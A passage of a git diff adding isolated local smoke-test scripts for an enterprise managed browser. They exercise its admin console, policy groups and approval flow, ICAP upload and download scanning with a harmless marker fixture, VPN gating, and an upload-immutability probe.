evaluate(`document.getElementById('publish').disabled&&document.getElementById('publish-shortcut').disabled&&document.getElementById('enroll').disabled&&document.getElementById('bookmark-device-load').disabled&&document.getElementById('access-sessions').hidden`),true);await evaluate(`applyOperatorPermissions(globalThis.__adminPrincipal);delete globalThis.__adminPrincipal;`); + assert.equal(await evaluate(`document.getElementById('diagnostics-enabled').checked&&document.getElementById('diagnostics-mode').value==='debug'&&document.getElementById('agent-scope-bookmarks:mutate').checked`),true); + await evaluate(`applyOperatorPermissions({sub:'synthetic-auditor',role:'auditor',permissions:['overview.read','audit.read','policy.read']});`); + assert.equal(await evaluate(`document.getElementById('diagnostics-enabled').disabled&&document.getElementById('agent-scope-bookmarks:mutate').disabled`),true); + console.log('ADMIN_UI_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('ADMIN_UI_PROOF_FAILED',error.message);clearTimeout(deadline);window?.destroy();app.exit(1);}); + diff --git a/scripts/enterprise-admin-smoke.mjs b/scripts/enterprise-admin-smoke.mjs new file mode 100644 index 0000000..9a5e9bf --- /dev/null +++ b/scripts/enterprise-admin-smoke.mjs @@ -0,0 +1,28 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-enterprise-admin-smoke-')); +let store,server,icap,child;const exchanges=[]; +try{ + store=openStore(join(directory,'management'));const original=store.get('policy');original.browser.allowDevTools=true;original.browser.allowWebSockets=true;store.put('policy',original); + const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false}; + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + icap=createServer(socket=>{let received=Buffer.alloc(0);socket.on('data',chunk=>{received=Buffer.concat([received,chunk]);if(received.length>16384){socket.destroy();return;}if(received.includes('\r\n\r\n')){exchanges.push(received.toString('ascii'));socket.end('ICAP/1.0 200 OK\r\nMethods: RESPMOD, REQMOD\r\nISTag: "synthetic-test-service"\r\nAllow: 204\r\nEncapsulated: null-body=0\r\n\r\n');}});}).listen(0,'127.0.0.1');await new Promise(r=>icap.once('listening',r)); + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken,SAFETYNET_ADMIN_SMOKE_ICAP:`icap://127.0.0.1:${icap.address().port}/scan`};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/enterprise-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('ADMIN_UI_PROOF_OK'))console.log('Administrator interface workflow passed.');});child.stderr.on('data',data=>{const message=String(data);if(message.includes('ADMIN_UI_PROOF_'))console.error(message.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,3);assert.equal(policy.browser.allowDevTools,false);assert.equal(policy.browser.allowWebSockets,false);assert.deepEqual(policy.enterprise.dns,{mode:'secure',templates:['https://dns.synthetic.example/dns-query']});assert.deepEqual(policy.enterprise.vpn,{required:true,interfaceNames:['Synthetic Corporate VPN'],requiredDnsServers:['10.77.0.53']});assert.equal(policy.enterprise.icap.enabled,true);assert.equal(policy.enterprise.icap.url,env.SAFETYNET_ADMIN_SMOKE_ICAP);assert.equal(exchanges.length,1);assert.ok(exchanges[0].startsWith('OPTIONS '));assert.equal(exchanges[0].split('\r\n\r\n')[1],''); + assert.equal(policy.diagnostics.enabled,true);assert.equal(policy.diagnostics.mode,'debug');assert.equal(policy.diagnostics.endpoint,'https://collector.synthetic.example');assert.ok(policy.agents.scopes.includes('bookmarks:mutate')); + const report={signedDiagnosticsUi:true,newAgentScopesUi:true,adminUi:true,isolatedControlPlane:true,previewDidNotPublish:true,explicitSignedPublication:true,integrationFormRoundtrip:true,optionsOnlyProbe:true,probeContentSent:false,cspPreserved:true,nodeUnavailable:true,hiddenCpuWindow:true,policyVersion:policy.version,groupedNavigation:true,draftChangeReview:true,reviewDoesNotPublish:true,fleetAndAuditFilters:true,consoleThemePersistence:true,mobileNoHorizontalOverflow:true,readOnlyRoleControls:true,sessionInventoryUi:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/enterprise-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();for(const service of [server,icap])if(service)await new Promise(r=>{service.closeAllConnections?.();service.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-enterprise-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} diff --git a/scripts/enterprise-browser-smoke.cjs b/scripts/enterprise-browser-smoke.cjs new file mode 100644 index 0000000..b2893b8 --- /dev/null +++ b/scripts/enterprise-browser-smoke.cjs @@ -0,0 +1,27 @@ +const {app,BrowserWindow,dialog,session}=require('electron'); +const fs=require('node:fs'),assert=require('node:assert/strict'); +app.setPath('userData',process.env.SAFETYNET_ENTERPRISE_PROFILE);app.setPath('sessionData',process.env.SAFETYNET_ENTERPRISE_PROFILE);app.disableHardwareAcceleration(); +let dialogs=0;dialog.showSaveDialog=async()=>{dialogs++;return {canceled:false,filePath:process.env.SAFETYNET_ENTERPRISE_FILE};}; +require('../apps/browser/main.cjs'); +const wait=ms=>new Promise(r=>setTimeout(r,ms)),deadline=setTimeout(()=>app.exit(1),110000); +app.whenReady().then(async()=>{try{ + let win;for(let i=0;i<150;i++){win=BrowserWindow.getAllWindows()[0];if(win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html'))break;await wait(100);}assert.ok(win); + const shell=code=>win.webContents.executeJavaScript(code),state=async()=>(await shell('window.safetynet.state()')).data; + const result=await shell(`window.safetynet.enroll(${JSON.stringify({server:process.env.SAFETYNET_ENTERPRISE_SERVER,code:process.env.SAFETYNET_ENTERPRISE_CODE})})`);assert.equal(result.ok,true);assert.equal(result.data.ready,true); + const page=win.contentView.children.find(c=>c.webContents!==win.webContents).webContents;for(let i=0;i<100&&page.isLoading();i++)await wait(100); + const origin=process.env.SAFETYNET_ENTERPRISE_SINK,headers={authorization:`Bearer ${process.env.SAFETYNET_ENTERPRISE_ADMIN}`,'content-type':'application/json'}; + async function overview(){return (await fetch(process.env.SAFETYNET_ENTERPRISE_SERVER+'/api/admin/overview',{headers})).json();} + async function publish(mutator){const p=(await overview()).policy;mutator(p);p.version++;const r=await fetch(process.env.SAFETYNET_ENTERPRISE_SERVER+'/api/admin/policy',{method:'PUT',headers,body:JSON.stringify(p)});assert.equal(r.status,200);return p.version;} + async function until(fn,ms=20000){const end=Date.now()+ms;while(Date.now()r.ok).catch(()=>false)`);} + assert.equal(await post('public ordinary upload'),true);assert.equal(await post('PUBLIC_MALWARE_FIXTURE'),false); + assert.equal((await fetch(origin+'/proof-stats').then(r=>r.json())).posts,1); + await page.executeJavaScript("(()=>{const a=document.createElement('a');a.href='/download/blocked';document.body.append(a);a.click();})()"); + await until(async()=> (await overview()).events.some(e=>e.kind==='download.block'&&e.metadata.ruleId?.includes('icap')));assert.equal(dialogs,0);assert.equal(fs.existsSync(process.env.SAFETYNET_ENTERPRISE_FILE),false); + await page.executeJavaScript("(()=>{const a=document.createElement('a');a.href='/download/clean';document.body.append(a);a.click();})()");await until(()=>fs.existsSync(process.env.SAFETYNET_ENTERPRISE_FILE));assert.equal(dialogs,1);assert.deepEqual(fs.readFileSync(process.env.SAFETYNET_ENTERPRISE_FILE),Buffer.from([0,1,2,3,65,66,67,255])); + const pausedVersion=await publish(p=>p.enterprise.vpn={required:true,interfaceNames:['SafetyNet nonexistent proof interface'],requiredDnsServers:[]});await until(async()=>{const s=await state();return s.policyVersion===pausedVersion&&!s.ready;}); + const baseline=(await fetch(origin+'/proof-stats').then(r=>r.json())).websiteRequests;assert.equal(await post('public blocked by VPN gate'),false);await wait(500);assert.equal((await fetch(origin+'/proof-stats').then(r=>r.json())).websiteRequests,baseline); + const resumedVersion=await publish(p=>p.enterprise.vpn.required=false);await until(async()=>{const s=await state();return s.policyVersion===resumedVersion&&s.ready;}); + assert.equal(await session.fromPartition('persist:safetynet-management').resolveProxy(origin),await session.fromPartition('persist:safetynet-managed').resolveProxy(origin)); + console.log(JSON.stringify({nativeEnterprise:true,icapUploadAllow:true,icapUploadBlock:true,blockedDownloadDialogAbsent:true,cleanDownloadBytesVerified:true,requiredVpnBlocksWebsiteRequests:true,remotePolicyRecovery:true,managementProxyParity:true}));clearTimeout(deadline);app.quit(); +}catch(error){console.error(JSON.stringify({nativeEnterprise:false,error:error.message}));clearTimeout(deadline);app.exit(1);}}); diff --git a/scripts/enterprise-browser-smoke.mjs b/scripts/enterprise-browser-smoke.mjs new file mode 100644 index 0000000..30766ea --- /dev/null +++ b/scripts/enterprise-browser-smoke.mjs @@ -0,0 +1,24 @@ +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {createServer} from 'node:http'; +import net from 'node:net'; +import {mkdtempSync,mkdirSync,writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {spawn} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +const electron=createRequire(import.meta.url)('electron'),temporary=mkdtempSync(join(tmpdir(),'safetynet-enterprise-proof-')); +const marker='PUBLIC_MALWARE_FIXTURE',clean=Buffer.from([0,1,2,3,65,66,67,255]); +const report={local:true,icapScans:0,icapBlocks:0,posts:0,websiteRequests:0}; +const sockets=new Set();let icap,sink,management,store,child; +try{ + icap=net.createServer(socket=>{sockets.add(socket);socket.on('error',()=>{});socket.on('close',()=>sockets.delete(socket));let input=Buffer.alloc(0),done=false;socket.on('data',chunk=>{input=Buffer.concat([input,chunk]);if(done||input.indexOf('\r\n\r\n')<0)return;const options=input.subarray(0,7).toString()==='OPTIONS';if(!options&&!input.subarray(-5).equals(Buffer.from('0\r\n\r\n')))return;done=true;if(options)return socket.end('ICAP/1.0 200 OK\r\nMethods: RESPMOD, REQMOD\r\nISTag: "local-fixture"\r\nAllow: 204\r\nEncapsulated: null-body=0\r\n\r\n');report.icapScans++;if(input.includes(Buffer.from(marker))){report.icapBlocks++;socket.end('ICAP/1.0 200 OK\r\nISTag: "local-fixture"\r\nEncapsulated: res-hdr=0, res-body=99\r\n\r\nHTTP/1.1 403 Forbidden');}else socket.end('ICAP/1.0 204 No Content\r\nISTag: "local-fixture"\r\n\r\n');});}).listen(0,'127.0.0.1');await new Promise(r=>icap.once('listening',r)); + sink=createServer((req,res)=>{if(req.url==='/proof-stats'){res.setHeader('content-type','application/json');return res.end(JSON.stringify(report));}report.websiteRequests++;if(req.method==='POST'){const chunks=[];req.on('data',c=>chunks.push(c));req.on('end',()=>{report.posts++;assert.equal(Buffer.concat(chunks).includes(Buffer.from(marker)),false,'Blocked fixture reached receiver');res.end('accepted');});return;}if(req.url.startsWith('/download/')){const bytes=req.url.endsWith('/blocked')?Buffer.from(marker):clean;res.setHeader('content-disposition','attachment; filename="fixture.bin"');res.setHeader('content-type','application/octet-stream');res.setHeader('content-length',bytes.length);return res.end(bytes);}res.setHeader('content-type','text/html');res.end('Enterprise native proof

Public local fixture

');}).listen(0,'127.0.0.1');await new Promise(r=>sink.once('listening',r)); + const code=randomBytes(32).toString('base64url'),adminToken=randomBytes(32).toString('base64url');store=openStore(join(temporary,'store'));const p=store.get('policy');p.browser.homeUrl=`http://127.0.0.1:${sink.address().port}`;p.browser.allowedHosts=['127.0.0.1'];p.browser.allowDownloads=true;p.dlp.rules=[];p.security.yara.enabled=false;p.security.yara.rules=[];p.proxy.mode='system';p.enterprise.icap={...p.enterprise.icap,enabled:true,url:`icap://127.0.0.1:${icap.address().port}/av`};store.put('policy',p);store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'synthetic-enterprise-user'); + const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,requirePQManagement:true};management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>management.once('listening',r));config.publicUrl=`http://127.0.0.1:${management.address().port}`; + const env={...process.env,SAFETYNET_ENTERPRISE_PROFILE:join(temporary,'browser'),SAFETYNET_ENTERPRISE_SERVER:config.publicUrl,SAFETYNET_ENTERPRISE_CODE:code,SAFETYNET_ENTERPRISE_ADMIN:adminToken,SAFETYNET_ENTERPRISE_SINK:p.browser.homeUrl,SAFETYNET_ENTERPRISE_FILE:join(temporary,'released.bin'),SAFETYNET_SMOKE_USERDATA:join(temporary,'browser')};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(electron,['scripts/enterprise-browser-smoke.cjs'],{windowsHide:true,stdio:'inherit',env});const timer=setTimeout(()=>child.kill(),120000);const status=await new Promise(r=>{child.once('exit',c=>r(c??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(status,0,'Native enterprise fixture failed');assert.equal(report.posts,1);assert.ok(report.icapBlocks>=2);Object.assign(report,{nativeBrowserPassed:true,icapOnlyUpload:true,icapBeforeDownloadDialog:true,requiredVpnPaused:true,remotePolicyRecovery:true,managementProtectedChannel:true,managementProxyParity:true});mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/enterprise-browser-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{child?.kill();for(const socket of sockets)socket.destroy();for(const server of [management,sink,icap])if(server){server.closeAllConnections?.();await new Promise(r=>server.close(r));}store?.db.close();} + diff --git a/scripts/groups-admin-smoke.cjs b/scripts/groups-admin-smoke.cjs new file mode 100644 index 0000000..c69dd87 --- /dev/null +++ b/scripts/groups-admin-smoke.cjs @@ -0,0 +1,37 @@ +'use strict'; +const {app,BrowserWindow}=require('electron');const assert=require('node:assert/strict');const fs=require('node:fs');const path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);app.commandLine.appendSwitch('force-device-scale-factor','1'); +let window;const deadline=setTimeout(()=>{console.error('ADMIN_UI_PROOF_TIMEOUT');app.exit(1);},50000); +async function evaluate(source){return window.webContents.executeJavaScript(source,true);} +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Administrator UI state did not arrive: '+await evaluate(`document.getElementById('status').textContent`));} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + await evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require,bridge:typeof safetynet})`),{node:'undefined',require:'undefined',bridge:'undefined'}); + const headers=await evaluate(`fetch(location.href).then(r=>({csp:r.headers.get('content-security-policy'),type:r.headers.get('x-content-type-options')}))`);assert.ok(headers.csp.includes("script-src 'self'"));assert.ok(headers.csp.includes("frame-ancestors 'none'"));assert.equal(headers.type,'nosniff'); + const reviewProof=process.env.SAFETYNET_GROUP_REVIEW_PROOF==='1'; + if(reviewProof){await window.webContents.session.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value:process.env.SAFETYNET_GROUP_OPERATOR_TOKEN,httpOnly:true,sameSite:'lax'});await window.reload();await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`);} + else { + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`);} + + await evaluate(`document.getElementById('group-id').value='engineering';document.getElementById('group-name').value='Engineering';for(const input of document.querySelectorAll('#group-members input'))input.checked=['pilot-device','member-device'].includes(input.value);document.getElementById('group-members').dispatchEvent(new Event('change'));for(const input of document.querySelectorAll('#group-cohort input'))input.checked=input.value==='pilot-device';document.getElementById('group-disable-ai').checked=true;document.getElementById('group-blocked-hosts').value='restricted.synthetic.example';document.getElementById('group-save').click()`); + if(reviewProof){ + await waitFor(`document.getElementById('status').textContent.includes('prepared for independent approval')`);assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1');assert.equal(await evaluate(`document.querySelectorAll('#groups-rows tr').length`),0); + await window.webContents.session.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value:process.env.SAFETYNET_GROUP_REVIEWER_TOKEN,httpOnly:true,sameSite:'lax'});await window.reload();await waitFor(`!document.getElementById('workspace').hidden&&document.querySelector('#reviews-rows button')`); + await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + const operation=await evaluate(`document.getElementById('independent-review-operation').textContent`);for(const value of ['engineering','pilot-device','member-device','disableAI','restricted.synthetic.example'])assert.ok(operation.includes(value),`Exact proposal missing ${value}`); + await evaluate(`document.getElementById('independent-review-confirm').checked=true;document.getElementById('independent-review-confirm').dispatchEvent(new Event('change'));document.getElementById('independent-review-approve').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v2'`);assert.equal(await evaluate(`document.querySelector('#groups-rows tr td:nth-child(3)').textContent.startsWith('pilot')`),true); + console.log('GROUP_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0);return; + } + await waitFor(`document.getElementById('policy-version').textContent==='v2'&&document.getElementById('status').textContent.includes('published')`); + assert.equal(await evaluate(`document.querySelector('#groups-rows tr td:nth-child(3)').textContent.startsWith('pilot')`),true); + await evaluate(`document.getElementById('group-preview-device').value='pilot-device';document.getElementById('group-preview').click()`);await waitFor(`document.getElementById('group-preview-summary').textContent.includes('engineering')`); + assert.equal(await evaluate(`document.getElementById('group-preview-diff').textContent.includes('/browser/blockedHosts')`),true); + await evaluate(`document.getElementById('group-preview-device').value='outside-device';document.getElementById('group-preview').click()`);await waitFor(`document.getElementById('group-preview-summary').textContent.includes('baseline only')`); + assert.equal(await evaluate(`document.getElementById('group-preview-diff').textContent.includes('restricted.synthetic.example')`),false); + await evaluate(`document.getElementById('group-stage').value='all';document.getElementById('group-stage').dispatchEvent(new Event('change'));document.getElementById('group-save').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v3'&&document.getElementById('status').textContent.includes('published')`); + assert.equal(await evaluate(`document.querySelector('#groups-rows tr td:nth-child(3)').textContent`),'All members');assert.equal(await evaluate(`document.getElementById('group-device-rows').textContent.includes('Awaiting target version')`),true);assert.equal(await evaluate(`globalThis.__proofErrors`),0); + await evaluate(`document.getElementById('policy-groups').scrollIntoView()`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,300));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/groups-admin.png'),(await window.webContents.capturePage()).toPNG()); + console.log('GROUP_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('GROUP_ADMIN_PROOF_FAILED',error.stack);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/groups-admin-smoke.mjs b/scripts/groups-admin-smoke.mjs new file mode 100644 index 0000000..239f610 --- /dev/null +++ b/scripts/groups-admin-smoke.mjs @@ -0,0 +1,29 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { digest } from '../apps/server/store.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-groups-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false,requireIndependentPolicyApproval:process.env.SAFETYNET_GROUP_REVIEW_PROOF==='1'}; + for(const id of ['pilot-device','member-device','outside-device'])store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run(id,id,'win32','synthetic-user',`synthetic-${id}`,new Date().toISOString()); + const operatorToken=randomBytes(32).toString('base64url'),reviewerToken=randomBytes(32).toString('base64url');for(const [value,sub,role]of [[operatorToken,'group-operator','operator'],[reviewerToken,'group-reviewer','admin']])store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(value),Date.now()+60000,JSON.stringify({sub,role})); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken,SAFETYNET_GROUP_OPERATOR_TOKEN:operatorToken,SAFETYNET_GROUP_REVIEWER_TOKEN:reviewerToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/groups-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('GROUP_ADMIN_PROOF_OK'))console.log('Group administrator interface workflow passed.');});child.stderr.on('data',data=>{const text=String(data);if(text.includes('GROUP_ADMIN_PROOF_'))console.error(text.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Group administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,config.requireIndependentPolicyApproval?2:3);const group=store.getRaw('policyGroups').find(group=>group.id==='engineering');assert.equal(group.rollout.stage,config.requireIndependentPolicyApproval?'pilot':'all');assert.deepEqual([...group.memberDeviceIds].sort(),['member-device','pilot-device']);assert.equal(group.restrictions.disableAI,true); + const report={actualAdministratorUi:true,explicitGroupMembership:true,pilotCohortPublished:true,noNode:true,cspPreserved:true,...(config.requireIndependentPolicyApproval?{operatorProposalLeftPolicyUnchanged:true,exactMembersCohortRestrictionsReviewed:true,distinctAdministratorApproval:true}:{effectivePreview:true,explicitExpansion:true,reportedVersionDisplayed:true})};mkdirSync('artifacts',{recursive:true});writeFileSync(config.requireIndependentPolicyApproval?'artifacts/groups-review-admin-proof.json':'artifacts/groups-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-groups-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} + diff --git a/scripts/immutable-upload-probe.cjs b/scripts/immutable-upload-probe.cjs new file mode 100644 index 0000000..8124c4b --- /dev/null +++ b/scripts/immutable-upload-probe.cjs @@ -0,0 +1,38 @@ +'use strict'; +// Isolated feasibility harness: never loaded by the managed browser. +const fs=require('node:fs'),os=require('node:os'),path=require('node:path'),assert=require('node:assert/strict'),crypto=require('node:crypto'); +if(!process.versions.electron){ + const {spawn}=require('node:child_process');const env={...process.env};delete env.ELECTRON_RUN_AS_NODE; + const child=spawn(require('electron'),[__filename],{env,windowsHide:true,stdio:'inherit'});const timer=setTimeout(()=>child.kill(),60000);child.once('exit',code=>{clearTimeout(timer);process.exit(code??1);}); +}else{ + const {app,BrowserWindow,session}=require('electron');app.disableHardwareAcceleration();app.enableSandbox(); + const owned=fs.mkdtempSync(path.join(os.tmpdir(),'safetynet-upload-probe-'));app.setPath('userData',owned); + const {createServer}=require('node:http');let server,win;const report={electron:process.versions.electron,productionEnabled:false}; + app.whenReady().then(async()=>{ + const original=Buffer.from('PUBLIC IMMUTABLE FILE CONTENT'),changed=Buffer.from('SECRET MUTATED FILE CONTENT!!');const file=path.join(owned,'fixture.txt');fs.writeFileSync(file,original); + const received=[];server=createServer(async(req,res)=>{const chunks=[];for await(const chunk of req)chunks.push(chunk);received.push({url:req.url,headers:req.headers,bytes:Buffer.concat(chunks)});if(req.url==='/redirect'){res.writeHead(307,{location:'/redirect-target'});res.end();return;}res.setHeader('content-type','text/html');res.end('');}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + const origin=`http://127.0.0.1:${server.address().port}`,ses=session.fromPartition('upload-proof');let snapshot; + ses.protocol.handle('http',async request=>{ + if(new URL(request.url).origin!==origin)return new Response('Denied',{status:403}); + const body=request.body?Buffer.from(await request.arrayBuffer()):undefined; + if(request.url.includes('/cookie-')){report.requestCredentials??={};report.requestCredentials[new URL(request.url).pathname]=request.credentials;report.requestCookiePresence??={};report.requestCookiePresence[new URL(request.url).pathname]=request.headers.has('cookie');} + if(request.method==='POST'){snapshot=body;report.requestBodyAvailable=Boolean(body?.length);report.initiatorOrigin=request.initiatorOrigin||null;fs.writeFileSync(file,changed);report.mutatedAfterSnapshot=true;} + try{return await ses.fetch(request.url,{method:request.method,headers:request.headers,body:body?new Blob([body]):undefined,redirect:'error',bypassCustomProtocolHandlers:true});}catch{return Response.error();} + }); + win=new BrowserWindow({show:false,webPreferences:{session:ses,sandbox:true,contextIsolation:true,nodeIntegration:false}});await win.loadURL(origin); + win.webContents.debugger.attach('1.3');const {root}=await win.webContents.debugger.sendCommand('DOM.getDocument');const {nodeId}=await win.webContents.debugger.sendCommand('DOM.querySelector',{nodeId:root.nodeId,selector:'#file'});await win.webContents.debugger.sendCommand('DOM.setFileInputFiles',{nodeId,files:[file]}); + await win.webContents.executeJavaScript('upload()');const upload=received.find(r=>r.url==='/upload');assert(upload);assert(snapshot);assert.deepEqual(upload.bytes,snapshot);assert(upload.bytes.includes(original));assert(!upload.bytes.includes(changed));report.receiverSha256=crypto.createHash('sha256').update(upload.bytes).digest('hex');report.snapshotSha256=crypto.createHash('sha256').update(snapshot).digest('hex');report.exactBytes=true; + await ses.cookies.set({url:origin,name:'synthetic_session',value:'fixture',sameSite:'strict'}); + await win.webContents.executeJavaScript('fetch("/cookie-include",{credentials:"include"}).then(r=>r.text())'); + await win.webContents.executeJavaScript('fetch("/cookie-omit",{credentials:"omit"}).then(r=>r.text())'); + report.includeCookie=Boolean(received.find(r=>r.url==='/cookie-include').headers.cookie); + report.omitCookie=Boolean(received.find(r=>r.url==='/cookie-omit').headers.cookie); + report.credentialsPreserved=report.includeCookie&&!report.omitCookie; + // A known unsafe expansion is asserted here so the evidence cannot be mistaken + // for approval to ship the transparent bridge. No real credentials are used. + assert.equal(report.credentialsPreserved,false,'Reassess Electron credential behavior before integration'); + report.redirectDenied=await win.webContents.executeJavaScript('fetch("/redirect").then(()=>false,()=>true)'); + assert.equal(report.redirectDenied,true);assert.equal(received.some(r=>r.url==='/redirect-target'),false); + fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync('artifacts/immutable-upload-probe.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); + }).catch(error=>{console.error(error);process.exitCode=1;}).finally(async()=>{win?.destroy();if(server){server.closeAllConnections();await new Promise(r=>server.close(r));}app.exit(process.exitCode||0);}); +} diff --git a/scripts/incident-admin-smoke.cjs b/scripts/incident-admin-smoke.cjs new file mode 100644 index 0000000..1be109a --- /dev/null +++ b/scripts/incident-admin-smoke.cjs @@ -0,0 +1,22 @@ +'use strict'; +const {app,BrowserWindow}=require('electron'),assert=require('node:assert/strict'),fs=require('node:fs'),path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);let window;const deadline=setTimeout(()=>app.exit(1),50000); +const evaluate=source=>window.webContents.executeJavaScript(source,true); +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Incident UI state missing: '+await evaluate(`document.getElementById('status').textContent`));} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}});await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require})`),{node:'undefined',require:'undefined'});assert.ok((await evaluate(`fetch(location.href).then(r=>r.headers.get('content-security-policy'))`)).includes("script-src 'self'")); + await 